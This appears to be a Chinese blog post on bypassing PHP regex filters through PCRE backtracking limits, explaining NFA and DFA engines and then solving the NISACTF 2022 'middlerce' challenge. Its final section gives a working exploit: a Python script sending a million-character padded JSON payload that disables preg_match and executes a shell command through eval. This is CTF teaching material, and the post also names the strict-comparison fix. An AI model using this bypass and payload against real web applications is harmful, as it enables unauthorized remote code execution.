正则绕过之PCRE回溯

发布于 2023-08-01 474 次阅读

正则表达式是一种用于描述字符串模式的工具，它可以被称为一种语言类或语法。正则表达式描述了一组可能的字符串形式，并且可以用来判断一个给定的字符串是否与该模式匹配。
有限状态自动机（FSM，也称为有限状态机）是一种计算模型，它由有限数量的状态以及状态之间的转移组成。每个状态可以迁移到零个或多个其他状态，而迁移的触发条件是输入字串或字符。

前置知识

在正则表达式的背后，常见的正则引擎实际上是基于有限状态自动机的。根据实现方式和处理策略的不同，正则引擎分为 DFA（确定性有限状态自动机）和 NFA（非确定性有限状态自动机）两种类型。要了解pcre回溯的原理就需要先了解这俩货.

NFA（确定型有穷自动机）

NFA 引擎基于非确定性有限状态机，它可以在任意时间点处于多个状态之一，根据输入选择下一个状态。NFA 引擎通常使用 Thompson's 构造算法来将正则表达式转换为 NFA。在匹配过程中，NFA 引擎通过回溯和同时处理多个可能匹配的路径来搜索匹配结果。
以我的理解,nfa以正则表达式为主导,这意味着nfa进行模式匹配的时候,会从字符串开头开始去对照一个一个对照自己是否满足正则匹配模式,如果不满足就回溯到对照之前,去对照相同正则的另一种解释.在任意时间点处于多个状态之一，根据输入选择下一个状态则是因为它从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态(比如回溯到同种正则表达式中的另一种解释).
对于这个例子,其匹配过程如下

text ＝ 'after tonight' 
regex ＝ 'to(nite|nighta|night)'

最开始，正则拿出t字符与待匹配字符串中的a进行匹配，匹配失败
然后同理匹配f也失败，直到匹配到f后面的t字符
时候正则会拿出第二个字符o进行匹配，然而o与e字符不一样，匹配失败，这个时候正则表达式回溯到第一个字符t
因为上方匹配失败，接下去匹配下一个t字符，直到匹配到空格后面的t字符
同理，这个时候正则拿出第二个字符o进行匹配，发现与上一步匹配到的o字符一样，匹配成功
接着匹配后面三个待匹配字符，依次类推

DFA（确定性有限状态机）

DFA 引擎基于确定性有限状态机，每个输入字符只对应一个确定的下一个状态。DFA 引擎通常使用经典的子集构造算法将正则表达式转换为 DFA。与 NFA 不同，DFA 引擎在匹配过程中不需要回溯，它可以以线性时间复杂度找到唯一的匹配结果。
以我的理解,dfa以匹配字符串为主导,这意味着dfa进行模式匹配的时候,会从字符串开头开始按照正则匹配的模式进行推演下一个匹配的字符串部分应该如何划分,使得每一部分都被确定的被匹配出来.

NFA回溯分析

nfa回溯的过程具体是怎样的,可以用p神的例子一探究竟

NFA 引擎将正则表达式的结构和语法直接转换为非确定性有限状态机的状态和转移规则。它通过回溯和同时处理多个状态路径
来实现匹配过程。NFA 引擎更加灵活，能够支持一些高级的正则表达式特性，如回溯引用和零宽断言。

DFA 引擎使用经典的子集构造算法将正则表达式转换为确定性有限状态机。在匹配过程中，DFA 引擎按照输入字符串的顺序进
行状态转换，并且不需要回溯。DFA 引擎的设计更侧重于高效的字符串扫描和匹配操作。

这个正则表达式匹配下面字符串的过程如下

/<\?.*[(`;?>].*/is

<?php phpinfo();//aaaaa

这里存在一个贪婪模式的问题,因为(.*)和(.?)不同,前者会尽可能多的去匹配字符串,而输入值的后面没有空格,所以全都满足目标,直接就被(.\)全部匹配走了,但是后面就会空出来一段正则表达式什么都没有匹配到

[(`;?>].*

既然以正则表达式为主导,那么就要开始回溯了,第一个(.*)的贪婪匹配本来将所有的a全部匹配走了,现在回溯到它匹配之前,并且要求它吐出来一个a,尝试留给后面的进行匹配,但是吐出来发现还是匹配不上,继续回溯,吐两个a
这样,一直回溯到吐出来(;),(;)被([(`;?>])匹配走了,所有的a被最后的(.*)匹配走了,皆大欢喜.那么这样的场景就回溯了8次.

漏洞利用

对于PHP语言来说，正则匹配往往采用的是PCRE的模式，而PCRE采用的正是NFA的引擎。
PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,回溯次数上限默认是100万.

对于pcre成功的情况下preg_match返回的是1和0,而在失败的情况下将会返回false.如果正则函数的结果最后被弱类型比较了,那么返回false就可能会通过正则函数,导致即使匹配到了受过滤字符串,正则返回的fasle依然通过了if
比如下面这种情况,本来匹配成功,返回了1被带入!is_php(),就会变成false从而阻止执行,但是通过prce回溯把正则搞崩,返回了false,false被带回!is_php()变成true,从而成功执行

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

那么要解决这个漏洞就很简单了,提升回溯次数并没有作用,而是应该强类型判断正则函数的结果

[NISACTF 2022]middlerce

那么就实战练习一下

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

思路还是很简单的,就是利用正则表达式的通配符的贪婪模式,构造字符串使得它产生回溯,然后把prce搞崩就行了
先判断能不能用这个漏洞,注意到正则函数的结果,直接加的if,所以当pcre被搞崩返回false和没匹配到关键字返回false是一样的,这这里就确定可以使用prce回溯绕过正则了
然后就要构造字符串了,注意到正则表达式在开头就有一个(.*),那么它上来就会把所有输入的字符给贪婪匹配完,我们在字符串末尾随便输一点满足下面正则匹配的内容就行了

([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*

成功造成了回溯,我们还要关注如何让回溯超过一百万次,因为(.*)上来就会把所有输入的字符给贪婪匹配完,每次回溯会吐出末尾的一个字符,直到吐出的字符满足

([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*

那么我们就在末尾加一百万个不满足这个表达式的字符串就能让他回溯100万次了,同时构造rce(因为有些命令被过滤了,所以还要短标签绕过)

?><?=`sort /f*`?>

因为传参要传一百万次,所以得用脚本

import requests
url = 'http://node4.anna.nssctf.cn:28788/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "!" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)